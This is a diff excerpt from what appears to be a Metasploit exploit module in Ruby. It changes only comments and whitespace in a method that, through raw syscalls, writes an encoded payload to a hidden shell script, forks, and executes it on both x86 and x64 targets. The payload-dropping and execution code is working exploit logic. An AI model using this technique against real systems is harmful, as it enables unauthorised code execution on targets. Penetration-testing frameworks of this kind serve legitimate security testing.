@@ -62,9 +62,9 @@ def method_syscall(p)
62
62
filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
63
63
64
64
begin
65
- # syscall to decide wether it's 64 or 32 bit:
66
- # it's getpid on 32bit which will succeed, and writev on 64bit
67
- # which will fail due to missing args
65
+ # Decide if this is running on an x86 or x64 target.
66
+ # This syscall number is getpid on x86, which will succeed,
67
+ # or writev on x64, which will fail due to missing args.
68
68
j = p . send ( :syscall , 20 )
69
69
# syscall open
70
70
i = p . send ( :syscall , 8 , filename , 0700 )
@@ -77,18 +77,18 @@ def method_syscall(p)
77
77
# syscall execve
78
78
p . send ( :syscall , 11 , filename , 0 , 0 )
79
79
80
- # likely 64bit system
80
+ # likely x64
81
81
rescue Errno ::EBADF
82
82
# syscall creat
83
- i = p . send ( :syscall , 85 , filename , 0700 )
83
+ i = p . send ( :syscall , 85 , filename , 0700 )
84
84
# syscall write
85
- p . send ( :syscall , 1 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
85
+ p . send ( :syscall , 1 , i , "#!/bin/sh\n " << payload . encoded , payload . encoded . length + 10 )
86
86
# syscall close
87
- p . send ( :syscall , 3 , i )
87
+ p . send ( :syscall , 3 , i )
88
88
# syscall fork
89
- p . send ( :syscall , 57 )
89
+ p . send ( :syscall , 57 )
90
90
# syscall execve
91
- p . send ( :syscall , 59 , filename , 0 , 0 )
91
+ p . send ( :syscall , 59 , filename , 0 , 0 )
92
92
end
93
93
94
94
register_file_for_cleanup ( filename ) if filename
0 commit comments